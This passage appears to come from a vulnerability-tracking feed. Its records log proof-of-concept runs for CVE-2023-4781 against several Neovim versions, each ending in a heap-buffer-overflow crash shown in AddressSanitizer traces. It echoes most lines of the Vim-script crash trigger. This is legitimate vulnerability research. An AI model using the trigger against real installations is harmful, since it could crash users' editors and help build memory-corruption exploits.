/home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #11 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #12 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #13 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #14 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #15 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #16 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #17 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #18 0x7f39b26ae082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #19 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x6020000081d2 is located 0 bytes to the right of 2-byte region [0x6020000081d0,0x6020000081d2)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0xa0aba6 in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/misc1.c:1475:18\n    #4 0xa0b1df in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/misc1.c:1406:3\n    #5 0x640714 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5312:7\n    #6 0x6510d4 in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5099:5\n    #7 0x6509fa in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1241:7\n    #8 0x629566 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:764:10\n    #9 0xd3b5b3 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:67:26\n    #10 0x62d7d5 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:458:5\n    #11 0x6274e3 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1339:3\n    #12 0xa9d1b8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7589:7\n    #13 0xa85f81 in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6068:7\n    #14 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #15 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #16 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #17 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #18 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #19 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #20 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #21 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #22 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #23 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #24 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #25 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #26 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #27 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #28 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #29 0x7f39b26ae082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047fff8fe0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 00 06\n  0x0c047fff8ff0: fa fa fd fd fa fa fd fd fa fa 00 01 fa fa fd fd\n  0x0c047fff9000: fa fa 00 01 fa fa fd fd fa fa fd fa fa fa 00 00\n  0x0c047fff9010: fa fa 00 00 fa fa fd fa fa fa fd fd fa fa 00 00\n  0x0c047fff9020: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 01 fa\n=>0x0c047fff9030: fa fa 00 fa fa fa 01 fa fa fa[02]fa fa fa fd fa\n  0x0c047fff9040: fa fa fd fa fa fa 01 fa fa fa fd fa fa fa fd fd\n  0x0c047fff9050: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9060: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9070: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\n  0x0c047fff9080: fa fa fd fa fa fa 07 fa fa fa 01 fa fa fa 01 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25949==ABORTING", "creation_timestamp": "2026-09-06T12:58:15.895359Z"}, {"uuid": "50133ff3-cc1e-4850-a3f1-177f1c7fef74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4781", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/ff0d69960a7adbd04b06efa14b114bdf", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18417==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000003145 at pc 0x0000004e0015 bp 0x7ffcdfa58970 sp 0x7ffcdfa58138\nWRITE of size 55 at 0x603000003145 thread T0\n    #0 0x4e0014 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014)\n    #1 0x73d502 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3936:11\n    #2 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #3 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #4 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #5 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #6 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #7 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #8 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #9 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #11 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #12 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #13 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #14 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #15 0x7f2bac1ab082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x603000003145 is located 0 bytes to the right of 21-byte region [0x603000003130,0x603000003145)\nallocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n    #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n    #5 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #10 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #11 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #12 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #14 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #15 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #16 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #17 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #18 0x7f2bac1ab082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff85d0: fa fa 00 00 00 03 fa fa 00 00 02 fa fa fa fd fd\n  0x0c067fff85e0: fd fa fa fa fd fd fd fd fa fa 00 00 00 05 fa fa\n  0x0c067fff85f0: fd fd fd fa fa fa 00 00 01 fa fa fa fd fd fd fd\n  0x0c067fff8600: fa fa 00 00 00 00 fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff8610: fd fd fa fa fd fd fd fa fa fa 00 00 00 06 fa fa\n=>0x0c067fff8620: fd fd fd fd fa fa 00 00[05]fa fa fa fa fa fa fa\n  0x0c067fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18417==ABORTING\n\nCommand:\n./nvim-0.6.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18766==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000094a5 at pc 0x0000004d5ff5 bp 0x7ffdaf34a270 sp 0x7ffdaf349a38\nWRITE of size 55 at 0x6030000094a5 thread T0\n    #0 0x4d5ff4 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4)\n    #1 0x8cb937 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4090:11\n    #2 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #3 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #4 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #5 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #6 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #7 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #8 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #9 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #10 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #11 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #12 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #13 0x7fe2f621e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #14 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x45df4d)\n\n0x6030000094a5 is located 0 bytes to the right of 21-byte region [0x603000009490,0x6030000094a5)\nallocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d668d)\n    #1 0xb5f062 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f224 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x8d32cd in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n    #4 0x8cb8d4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n    #5 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #6 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #7 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #8 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #9 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #10 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #11 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #12 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #13 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #14 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #15 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #16 0x7fe2f621e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff9240: 00 05 fa fa fd fd fd fa fa fa 00 00 00 00 fa fa\n  0x0c067fff9250: 00 00 01 fa fa fa fd fd fd fd fa fa 00 00 00 00\n  0x0c067fff9260: fa fa 00 00 00 00 fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff9270: fd fa fa fa fd fd fd fd fa fa fd fd fd fa fa fa\n  0x0c067fff9280: fd fd fd fd fa fa 00 00 00 06 fa fa fd fd fd fd\n=>0x0c067fff9290: fa fa 00 00[05]fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18766==ABORTING\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18811==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000004b55 at pc 0x0000004c6e05 bp 0x7ffe680acfb0 sp 0x7ffe680ac778\nWRITE of size 55 at 0x603000004b55 thread T0\n    #0 0x4c6e04 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04)\n    #1 0x7b9342 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3804:11\n    #2 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #3 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #4 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #5 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #6 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #7 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #11 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #12 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #13 0x7f8102ff9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #14 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x603000004b55 is located 0 bytes to the right of 21-byte region [0x603000004b40,0x603000004b55)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n    #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n    #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #8 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #9 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #10 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #11 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #12 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #13 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #14 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #15 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #16 0x7f8102ff9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff8910: 00 fa fa fa 00 00 00 05 fa fa fd fd fd fa fa fa\n  0x0c067fff8920: 00 00 00 fa fa fa 00 00 01 fa fa fa fd fd fd fd\n  0x0c067fff8930: fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa fd fd\n  0x0c067fff8940: fd fa fa fa fd fd fd fa fa fa fd fd fd fd fa fa\n  0x0c067fff8950: fd fd fd fa fa fa fd fd fd fd fa fa 00 00 00 06\n=>0x0c067fff8960: fa fa fd fd fd fd fa fa 00 00[05]fa fa fa fa fa\n  0x0c067fff8970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff89a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff89b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18811==ABORTING", "creation_timestamp": "2026-09-06T12:24:29.116381Z"}, {"uuid": "c5a77d1e-e994-4bdb-9c39-44799f569f2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4750", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/9c26aedbdc7873ec09c6c4d833701a83", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m 